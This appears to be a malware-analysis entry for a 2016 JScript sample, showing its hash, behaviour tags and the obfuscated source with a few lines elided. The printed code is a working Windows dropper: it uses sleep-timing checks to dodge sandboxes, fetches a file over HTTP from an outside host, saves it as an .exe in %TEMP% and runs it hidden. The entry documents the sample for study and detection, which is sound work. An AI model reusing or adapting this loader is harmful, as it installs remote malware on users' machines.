20160328_4a97db8b3064018b1cad9e165964a53f.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-25621e32ef23ae4f793944524019c31b0f4cc0ed49bd68be453ec3a6a99734da63f
Evidence
1var Dkylrl = false;
2var Iachtbvcb = "CreateObject";
3var Csaqzecf = function Fewtbegcwr() {return WScript[Iachtbvcb]("WScript.Shell");}();
4var Zybfkzvd = 123213;
5var Xdjlnsnnpc = "MSXML2.XMLHTTP";
6var Lbeyzzdtu = 2123213;
7var Edrdjlae = 0;
8function Feqxex(Vydmgf){Csaqzecf["Run"](Vydmgf, Edrdjlae, Edrdjlae);};
9function Jxnvcouq(){return Xdjlnsnnpc;};
10function Rlzbyt(Dyfuike, Aimwtgni){return Dyfuike - Aimwtgni;};
11function Ahmuhjkrs(){return Iachtbvcb;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Dkylrl = true;
15 @end
16@*/
17var Hozgt = "";
18if (Dkylrl)
19{
20function Apqvz(){return 22;};
21var Zunjejg = 0; var Baypi = 0;
22function Dlgniyfqeg()
23{
24var Lhfhpsprrg = new this["Date"]();
25var Mgauxnzrhv = Lhfhpsprrg["getUTCMilliseconds"]();
26WScript["Sleep"](Apqvz());
27var Lhfhpsprrg = new this["Date"]();
28var Nvqfdahh = Lhfhpsprrg["getUTCMilliseconds"]();
29WScript["Sleep"](Apqvz());
30var Lhfhpsprrg = new this["Date"]();
31var Zkxsiq = Lhfhpsprrg["getUTCMilliseconds"]();
32var Zunjejg = "Gbnyttz";
33Zunjejg = Rlzbyt(Nvqfdahh, Mgauxnzrhv);
34var Baypi = "Rnkib";
35Baypi = Rlzbyt(Zkxsiq, Nvqfdahh);
36Hozgt = "open";
37return Rlzbyt(Zunjejg, Baypi);
38}
39var Dcgzt = false;
40var Tdvbw = false;
41for (var Jswdjl = Edrdjlae; Jswdjl < Apqvz() * 1; Jswdjl++){if (Dlgniyfqeg() != Edrdjlae){
42Dcgzt = t …
49:4… (Dcgzt && Uqwiwcqtqv() && Tdvbw){
50function Vgxdqsqki() {return Csaqzecf["ExpandEnvironmentStrings"]("%TEMP%/") + "fpOeSOBR2KZ.exe";};
51 Ijdlymug = Jxnvcouq();
52 Umguvsp = WScript[Iachtbvcb](Ijdlymug);
53 var Omwnbnvxy = 1;
54 while (Omwnbnvxy){
55try {
56Umguvsp[Hozgt]("GET", "http://bbwsa.com/m7rysa", false);
57Umguvsp["send"]();
58Ydhwrvhcx = "Sleep";
59do {WScript[Ydhwrvhcx](Apqvz() * 11)} while (Umguvsp["readystate"] < 4 );
60Omwnbnvxy = Edrdjlae;
61} catch(Hokjfzup){Omwnbnvxy = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Dznlulfc(Gfppvzbcn) {var Zveuxmrtp = (1, 2, 3, 4, 5, Gfppvzbcn); return Zveuxmrtp;};
64Bgmdchhzuy = WScript[Ahmuhjkrs()]("ADODB.Stream");
65Ijdlymug = Bgmdchhzuy;
66Ijdlymug[Hozgt]();
67Ijdlymug["type"] = Dznlulfc(1);
68Ijdlymug["write"](Umguvsp["ResponseBody"]);
69Bgmdchhzuy["position"] = Dznlulfc(Edrdjlae);
70Ijdlymug["SaveToFile"](Vgxdqsqki(), Dznlulfc(2) );
71Bgmdchhzuy["close"]();
72Feqxex(Vgxdqsqki());
73}
74}
75